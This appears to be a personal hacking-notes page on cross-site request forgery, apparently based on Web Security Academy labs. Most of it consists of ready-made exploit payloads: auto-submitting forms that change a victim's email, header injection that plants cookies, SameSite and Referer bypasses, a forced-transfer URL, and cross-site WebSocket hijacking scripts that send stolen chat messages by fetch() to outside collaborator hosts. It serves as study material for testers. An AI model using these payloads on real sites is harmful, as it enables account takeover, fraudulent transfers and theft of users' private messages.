Hacking Notes logo Hacking Notes

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

For a CSRF attack to be possible, three key conditions must be in place:

How to construct a CSRF attack

A CSRF PoC can be created with burpsuite. Right click on the desired request and Engagemnt Tools->Generate CSRF PoC

How to deliver a CSRF exploit

The delivery mechanisms for cross-site request forgery attacks are essentially the same as for reflected XSS. Typically, the attacker will place the malicious HTML onto a website that they control, and then induce victims to visit that website. This might be done by feeding the user a link to the website, via an email or social media message.

CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable website.

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

Common defences against CSRF

Nowadays, successfully finding and exploiting CSRF vulnerabilities often involves bypassing anti-CSRF measures deployed by the target website, the victim’s browser, or both. The most common defenses you’ll encounter are as follows:

Bypass CSRF Token validation

A common way to share CSRF tokens with the client is to include them as a hidden parameter in an HTML form.

Validation of CSRF token depends on request method

Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

Deliver the payload with an HTML:

<html>
  <img src="https://example.com/my-account/change-email?email=test3@test.com">
</html>

Validation of CSRF token depends on token being present

Some applications correctly validate the token when it is present but skip the validation if the token is omitted.

In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net

CSRF token is not tied to the user session

Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.

In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.

In a variation on the preceding vulnerability, some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

This situation is harder to exploit but is still vulnerable. If the website contains any behavior that allows an attacker to set a cookie in a victim’s browser, then an attack is possible.

Example of exploitation:

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
	<body>
		<script>
			history.pushState('', '', '/');
		</script>
		<form action="https://example.com/my-account/change-email" method="POST">
			<input type="hidden" name="email" value="test3&#64;test&#46;com" />
			<input type="hidden" name="csrf" value="cLM7o8nGIrotmaKIkRIcKxT3dLddqY3g" />
			<input type="submit" value="Submit request" />
		</form>
		<img src="https://example.com/?search=test%0d%0aSet-Cookie:+csrfKey=c7EQkv5GvRyeVkHyfScJpZ0SFvGKm5F7%3b%20SameSite=None" onerror="document.forms[0].submit();">

	</body>
</html>

Note: It is very important to set the cookie attribute SameSite as None in order to work.

In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the “double submit” defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

In this situation, the attacker can again perform a CSRF attack if the website contains any cookie setting functionality. Here, the attacker doesn’t need to obtain a valid token of their own.

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
	<body>
		<script>
		  	history.pushState('', '', '/');
		</script>
		<form action="https://0add00be04a9a681abda09be005700eb.web-security-academy.net/my-account/change-email" method="POST">
			<input type="hidden" name="email" value="exploit&#64;test&#46;com" />
			<input type="hidden" name="csrf" value="fake" />
			<input type="submit" value="Submit request" />
		</form>
		<img src="https://0add00be04a9a681abda09be005700eb.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
	</body>
</html>

Bypass SameSite Cookie restrictions

SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits.

As you can see from this example, the term “site” is much less specific as it only accounts for the scheme and last part of the domain name. Crucially, this means that a cross-origin request can still be same-site, but not the other way around.

Request from Request to Same-Site? Same-Origin?
https://example.com https://example.com Yes Yes
https://app.example.com https://intranet.example.com Yes No: mismatched domain name
https://example.com https://example.com:8080 Yes No: mismatched port
https://example.com https://example.com.uk No: mismatched TLD No: mismatched domain name
https://example.com http://example.com No: mismatched scheme No: mismatched scheme

SameSite has the following restriction levels:

Bypassing SameSite Lax restrictions using GET requests

As long as the request involves a top-level navigation, the browser will still include the victim’s session cookie. The following is one of the simplest approaches to launching such an attack:

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

Some frameworks provide ways of overriding the method specified in the request line. Here an example of Symfony:

<form action="https://vulnerable-website.com/account/transfer-payment" method="GET">
    <input type="hidden" name="_method" value="POST">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Bypassing SameSite restrictions using on-site gadgets

If a cookie is set with the SameSite=Strict attribute, browsers won’t include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site. Try to find a client-side redirect.

Example:

https://example.com/post/comment/confirmation?postId=1234

Redirect to:

https://example.com/post/1234

Try:

https://example.com/post/comment/confirmation?postId=1234../../../../../../my-account/change-email%3femail=test2@test.com%26submit=1

In order to get redirected to:

https://example.com/my-account/change-email?email=test2@test.com&submit=1

Finally generate the CSRF poc.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://example.com/post/comment/confirmation">
      <input type="hidden" name="postId" value="1234&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;my&#45;account&#47;change&#45;email&#63;email&#61;test4&#64;test&#46;com&amp;submit&#61;1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Bypassing SameSite restrictions via vulnerable sibling domains

Whether you’re testing someone else’s website or trying to secure your own, it’s essential to keep in mind that a request can still be same-site even if it’s issued cross-origin.

Make sure you thoroughly audit all of the available attack surface, including any sibling domains. In particular, vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site’s domains to cross-site attacks.

In addition to classic CSRF, don’t forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake.

Cross-Site WebSocket Hijacking (CSWSH)

Example of CSWSH payload:

<script>
    var ws = new WebSocket('wss://example.com/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://burpcollaborator.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

This payload needs to be exploit from a XSS in order to bypass SameSite=Strict cookie attribute.

Bypassing SameSite Lax restrictions with newly issued cookies

Cookies with Lax SameSite restrictions aren’t normally sent in any cross-site POST requests, but there are some exceptions.

As mentioned earlier, if a website doesn’t include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn’t actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.

Note: This two-minute window does not apply to cookies that were explicitly set with the SameSite=Lax attribute.

It’s somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn’t necessarily know whether the user is still logged in to the target site.

Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they’re opened via a manual interaction. For example, the following popup will be blocked by the browser by default:

window.open('https://vulnerable-website.com/login/sso');

To get around this, you can wrap the statement in an onclick event handler as follows:

window.onclick = () => {
    window.open('https://vulnerable-website.com/login/sso');
}

Example of payload:

<form method="POST" action="https://0ac600cf044e8c52806ce41500a90062.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://0ac600cf044e8c52806ce41500a90062.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

Bypassing Referer-based CSRF defenses

Aside from defenses that employ CSRF tokens, some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. This approach is generally less effective and is often subject to bypasses.

Validation of Referer depends on header being present

Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.

Add <meta name="referrer" content="never"> on your exploit:

<html>
	<meta name="referrer" content="never">
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="t3&#64;t&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Validation of Referer can be circumvented

Some applications validate the Referer header in a naive way that can be bypassed.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test2&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/?example.com');
      document.forms[0].submit();
    </script>
  </body>
</html>

Note: Some browsers strips the referer headers, to avoid that add the following header on the malicious server response Referrer-Policy: unsafe-url.

Cross-Site WebSocket Hijacking

CSWH or Cross-Site Websocket hijacking involves a cross-site request forquery vulnerability on a WebSocket handshake. It arises when the websocket handshake request relies solely on HTTP cookies for session handling and does not contain any CSRF tokens.

An attacker can create a malicious web page on their own domain which establishes a cross-site WebSocket connection to the vulnerable application. The application will handle the connection in the context of the victim user’s session with the application.

Example of exploit:

<script>
var ws = new WebSocket("wss://0a45008904e7cbd3804cf37400bc00b0.web-security-academy.net/chat");
ws.onopen = function() {
    console.log("Conectado al WebSocket");
    ws.send("READY");
};
ws.onmessage = function(event) {
    console.log("Mensaje del servidor:", event.data);

    fetch("https://hf02g7im3afdf7eyw0yv7yibe2kx8rwg.oastify.com/test", {
        method: "POST",
        mode: "no-cors",
        body: event.data
        })
};
</script>